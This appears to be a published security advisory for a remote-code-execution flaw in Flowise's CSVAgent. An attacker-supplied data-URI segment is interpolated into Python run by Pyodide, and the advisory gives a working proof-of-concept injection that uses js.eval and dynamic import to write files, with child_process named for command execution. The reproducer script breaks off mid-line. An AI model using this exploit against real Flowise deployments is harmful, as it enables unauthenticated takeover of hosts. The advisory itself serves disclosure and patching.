Summary
Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation
Advisory details
Summary
Flowise's CSVAgent interpolates an attacker-controlled segment of the
csvFile data URI directly into a Python source-code template that is then
executed by Pyodide. Because Pyodide is loaded with the default js bridge
to globalThis (which on Node.js exposes eval and dynamic import()), the
attacker can break out of the Python string literal, hand a JS string to
js.eval, dynamically import any Node built-in module (fs, child_process,
…), and execute arbitrary file I/O or OS commands as the Flowise process.
The two validator paths around this code (validatePythonCodeForDataFrame
and validateCustomReadCSVFunction) are never applied to the bootstrap
template.
A workspace user with chatflows:create (or any agentflows/chatflows
update permission) plants a CSV Agent node with a crafted csvFile. Once the
chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id
endpoint, any unauthenticated request triggers the host RCE.
Details
Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
The run() method extracts the file segment from the data URI by splitting on
, and using two pop() calls (lines 127–138):
} else {
if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
files = JSON.parse(csvFileBase64)
} else {
files = [csvFileBase64]
}
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop() // discards trailing filename segment
base64String += splitDataURI.pop() ?? '' // captures the segment we attack
}
}
The captured base64String is then interpolated verbatim into a Python
source string at lines 156–171:
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}" // ← line 161: interpolation sink
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink
Validator gaps:
validateCustomReadCSVFunction(customReadCSVFunc)runs on line 147, but this only validates thecustomReadCSVfield, notbase64String.validatePythonCodeForDataFrame(pythonCode)runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template.- No content check (
^[A-Za-z0-9+/=]*$) is applied tobase64Stringbefore interpolation.
Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts,
lines 7–16):
export async function LoadPyodide(): Promise<PyodideInterface> {
if (pyodideInstance === undefined) {
const { loadPyodide } = await import('pyodide')
const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
pyodideInstance = await loadPyodide(obj)
await pyodideInstance.loadPackage(['pandas', 'numpy'])
}
return pyodideInstance
}
Pyodide is loaded with default options. On Node.js, the default js module
inside Pyodide bridges to globalThis, exposing the JS eval function and
top-level dynamic import(). From injected Python, the attacker runs:
import js
await js.eval(
"(async () => {"
" const fs = await import('fs');"
" fs.writeFileSync('proof.txt', 'pwned');"
"})()"
)
…which executes in the host Node.js process, not inside Pyodide's WASM
sandbox. Substituting await import('child_process') for await import('fs')
yields arbitrary OS-command execution via cp.execSync(...) with the same
primitive.
Node-version note. The original PoC for this issue used
js.process.mainModule.require("child_process"), which is a one-liner but only works on Node ≤ 13 becauseprocess.mainModulewas deprecated and now returnsundefinedon Node 14+. Thejs.eval+ dynamic-import()form above works on any Node 13.2+ in both CommonJS and ESM contexts, and was confirmed end-to-end against a stockflowise@3.1.2running on Node 20.20.2 — see Verified end-to-end against live Flowise below.
Trigger path (post-plant): the route POST /api/v1/prediction/:id is in
WHITELIST_URLS (packages/server/src/utils/constants.ts:12); when the
chatflow has no apikeyid set, it is reachable unauthenticated. A prediction
request runs the chatflow, instantiates CSVAgent, and executes the malicious
bootstrap.
PoC
Verified end-to-end on the cloned repo (commit
a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit
was based on).
Reproducer setup
Two files. Save the first as package.json, the second as
repro_a1_pyodide.js, then npm install && node repro_a1_pyodide.js in the
same directory.
package.json:
{
"name": "poc-flowise-s1",
"version": "1.0.0",
"type": "commonjs",
"dependencies": {
"pyodide": "^0.29.3"
}
}
repro_a1_pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI
parser) and :156-171 (the Python template), then runs the assembled Python
through real Pyodide. The injection segment is checked for commas before
assembly to confirm it cannot be fragmented by the JS-side split(',').
// Full host-RCE PoC for Flowise CSVAgent base64-injection.
//
// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs
// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled
// csvFile data URI. Demonstrates:
// 1. JS-side template-literal interpolation produces malicious Python
// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)
// 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic
// import('fs') -> host file write
//
// CONSTRAINTS:
// * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]
// of the data URI is what becomes `base64_string`, so this segment must
// contain NO raw `,` bytes.
// * Inside a Python double-quoted string literal, `,` is the escape
// for `,`. The data-URI parser sees the 6 raw bytes `\`, `u`, `0`, `0`,
// `2`, `c` (no commas), but Python's lexer turns them into commas at
// runtime — letting us pass multiple arguments to JS functions inside
// the Python source.
//
// NODE-VERSION NOTE: an earlier revision of this PoC used
// `cp = js.process.mainModule.require("child_process"); cp.execSync(...)`
// which is shorter but only works on Node ≤ 13 — `process.mainModule` was
// deprecated and now returns `undefined` on Node 14+, so the inner
// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form
// below works on any Node 13.2+ in both CommonJS and ESM contexts and was
// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.
const fs = require('fs')
const path = require('path')
const { loadPyodide } = require('pyodide')
const proofName = 'flowise_a1_pyodide_proof.txt'
const proofPath = path.resolve(__dirname, proofName)
const proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'
// --- Attacker payload (Python; comma-free) ----------------------------------
// Closes the `base64_string = "` literal with `";`, runs malicious Python,
// then `#` comments out the surviving closing `"` so the rest of the
// bootstrap template still parses.
const pythonInjection =
'";\n' +
'import js\n' +
`await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n` +
'#'
// Sanity: any commas would fragment the injection on the JS side.
if (pythonInjection.includes(',')) {
throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")')
}
const csvFil
References
- https://github.com/advisories/GHSA-4j8x-x6v7-w9rq
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq
- https://github.com/FlowiseAI/Flowise/pull/6499
- https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3
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